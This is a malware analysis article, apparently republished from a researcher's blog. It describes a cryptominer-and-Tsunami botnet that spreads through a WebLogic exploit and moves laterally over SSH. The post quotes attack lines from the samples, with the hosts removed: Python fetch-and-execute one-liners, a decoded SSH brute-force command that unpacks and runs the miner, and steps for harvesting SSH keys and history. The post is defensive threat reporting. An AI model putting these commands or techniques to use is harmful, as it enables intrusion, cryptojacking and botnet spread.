Multi-Vector Miner+Tsunami Botnet with SSH Lateral Movement

Pierluigi Paganini December 02, 2020

Security researcher Tolijan Trajanovski (@tolisec) analyzed the multi-vector Miner+Tsunami Botnet that implements SSH lateral movement.

A fellow security researcher, 0xrb, shared with me samples of a botnet that propagates using weblogic exploit. The botnet was also discovered by @BadPackets 5 days ago and it is still active as of now, December 1, 2020. The botnet carries two payloads: 1) a Monero XMR Miner binaries; and 2) Tsunami binaries. This botnet is targeting cloud servers. An earlier version of the botnet, carrying only XMR Miner payload was investigated and reported by Patrick Olsen from AWAKE Security in September 2020. 

Botnet Summary

Payloads: Monero Miner and Tsunami.
Infection vectors: Docker API, Weblogic, SSH bruteforce?, Redis? 
The botnet is currently propagating using weblogic exploit. In September, an earlier version of the botnet was exploiting misconfigured docker API. Interestingly, the current botnet version contains unused code for exploiting Redis and for bruteforcing SSH.
Lateral movement: The botnet uses SSH for lateral movement. It tries to infect hosts the system has connected to previously.
Evasion and Persistence: The botnet achieves persistence in multiple ways; kills running processes, potentially competing for mining tools and eliminates EDR. Uses base64 encoded intermediate stage shell-scripts and base64 encoded commands to download and execute python scripts.
Excellent analysis of the previous version by AWAKE’s Patrick Olsen:

What’s new in this version of the botnet?

  • Tsunami added as a second payload, in addition to Monero XMR miner
  • Oracle WebLogic RCE exploit for propagation
  • Eliminates EDR and monitoring tools, AliBaba’s Aliyun and Tencent’s qcloud
  • Uses improved function for SSH Lateral Movement that enumerates ssh users, keys, hosts and ports
  • Uses multiple shell-scripts and python-scripts with different dropping locations, connects to binary hosting webservers using hardcoded IP addresses and domains 
  • Contains unused code for scanning for SSH and Redis services using masscan, and for infecting servers using Redis-cli and SSH brute-force tools


Stage 1 – WebLogic exploit CVE-2020-14882

poc.xml SHA256: af1f3e57544583561dbd02201407782aef7dce47489e703ad6ac9f231363b439

The stage 1 executes two payloads, a shell script, xms, and a python script.  The shellscript xms is piped to bash from curl, in case that fails, it is fetched with wget, executed and removed, to prevent analysis. The python script is fetched and executed using base64 encoded commands to avoid detection and analysis.

Tsunami botnet

The echoed base64 encoded string resolves to the following: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://”).read())’

Stage 2 A) – xms shell script

xms shell script SHA256: 72acbfdeadfa31d7ccda7fdcc93944b1948e263239af8850e5b44c518da0a4c5

Actions performed:

  1. Configures shell path
  2. Switches SELinux to permissive mode in case it is in enforcing mode
  3. Sets the limit of user processes to 50000
  4. Sets the number of RedHat huge pages to three times the number of virtual CPU cores
  5. Clears LD Preload
  6. Kills processes communicating on the following ports: 3333, 4444, 5555, 7777, 14444, 5790, 45700, 2222, 9999, 20580 and 13531. Also kills processes connected to these services: and These actions may kill previously running software and potential competing bots.
  7. Generates a random number and based on that random number sets threads to 300 or 800 -> this is used in the unused/commented SSH bruteforce code
  8. Uninstalls DER 
    • Checks if Aliyun, the AliBaba Security Agent, is installed and if it that’s the case, it uninstalls it
    • Checks if qcloud, cloud monitoring by tencent is installed, and if that’s the case, it uninstalls it
  9. Gets the /16 range of the WAN IP address of the host
  10. Checks if is reachable
  11. Checks if is reachable and if that’s the case executes the following:
    • python -c ‘import urllib;exec(urllib.urlopen(“hxxp://”).read())’
  12. If is not reachable it executes the following:
    • python -c ‘import urllib;exec(urllib.urlopen(“hxxp://”).read())’

SSH Lateral Movement: The xms shell script attempts to infect hosts that the server has been previously connected to. 

  • It resolves the victim host IP using
  • It enumerates users, hosts, keys and ports and runs 4 nested loops to try all combinations
  • To find this information it parses id_rsa*; .ssh/config; .bash_history; and .pem files in home and root directories. It also lists running processes to grab information about active SSH connections.
Tsunami botnet

Persistence: The persistence mechanisms are the same as in the previous version of the botnet.

  • The xms scripts achieves persistence through cronjobs that download and execute the xms shell script and the python scripts every minute, every 2 minutes, every 3 minutes, every 30 minutes and hourly.
  • /etc/cron.d/root
  • /etc/cron.d/apache
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
  • /etc/cron.hourly/oanacroner1
  • It also overwrites /etc/init.d/down to ensure persistence at system startup.

Stage 2 B) Python Scripts

There are 4 python scripts in total. They are grouped in 2 groups. The first group downloads and runs the Miner binaries and the accompanying shell-scripts, maintains persistence and downloads and runs the second group of python scrips. The second group of python scripts downloads and runs the Tsunami binaries. Each group has two scripts: one fetches the bins from a hardcoded IP while the other uses a domain to connect to the webserver hosting the payloads. The scripts in the same group also drop the bins to different locations i.e. in /tmp or /var/tmp. -> 
1) downloads go shell script and Miner binaries from hardcoded IP, and executes Miner binaries through go script. Downloads and executes
2) Fetches and executes a shell script that:
a) executes: python -c ‘import urllib;exec(urllib.urlopen(“hxxp://”).read())’ or if the givemexyz webserver is not available:
python -c ‘import urllib;exec(urllib.urlopen(“hxxp://”).read())’
b) maintains persistence using cron
The python script has the same behaviour as but it fetches the Miner binaries from and -> fetch and execute the Tsunami 32 and 64bit binaries

Tsunami botnet

Stage 3) A) Monero XMR Miner ELF Binaries
The binaries are downloaded together with a shell-script named go. The ‘go’ shell-script is used to execute the Miner binaries. The binaries are packed with default UPX packer.
x86_64 SHA256: fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
i686 SHA256: 35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d417f17cfb
go SHA256: 6f7393474c6f3c452513231d1e3fa07ed9dcc8d53a1bb2d680c78e9aa03f8f9d

Tsunami botnet 3

The Miner ELF binaries connect to the following mining proxy servers:

Stage 3) B) Tsunami
The Tsunami binaries are compiled for x86 and x86_64 architectures and similarly to the Miner binaries, they are also packed with UPX.
They connect to the following C2 server:
x32b SHA256: 9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872
x64b SHA256: 855557e415b485cedb9dc2c6f96d524143108aff2f84497528a8fcddf2dc86a2

Unused Exploitation Functions in Stage 2) ‘xms’ shell-script
SSH Scanner and Exploits
1.Scans the following ranges for open port 22 using masscan:
2.Uses SSH brute tools to attack the discovered servers with open SSH ports
SSH attack command base64 decoded: RSAKEY=”no” SCP=”no” SCPFILE=”/tmp/linux.tar.gz” SCPPATH=”/tmp” CMD=”cd /tmp; tar -xvf /tmp/linux.tar.gz; chmod 777 /tmp/i686 /tmp/x86_64 /tmp/go; /tmp/go” PORT=”22″ UserKnownHostsFile=” ” BatchMode=”no” ConnectTimeout=”15″ StrictHostKeyChecking=”no” Format=”USER PASS IP” /tmp/sshexec /tmp/sparte.txt

tsunami botnet

Redis for infecting servers in LAN
1. Scans for devices in LAN with open port 6379, adds them to a list
2. Uses redis-cli to infect the discovered servers

Tsunami botnet

Additional info, including Indicators of Compromise (IoCs) are reported in the original analysis:

About the author: Tolijan Trajanovski (@tolisec)

Tolijan Trajanovski is a Cyber Security Researcher and a PhD Candidate at the University of Manchester, UK, specializing in IoT Security and Malware Analysis.

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Pierluigi Paganini

(SecurityAffairs – hacking, malware)

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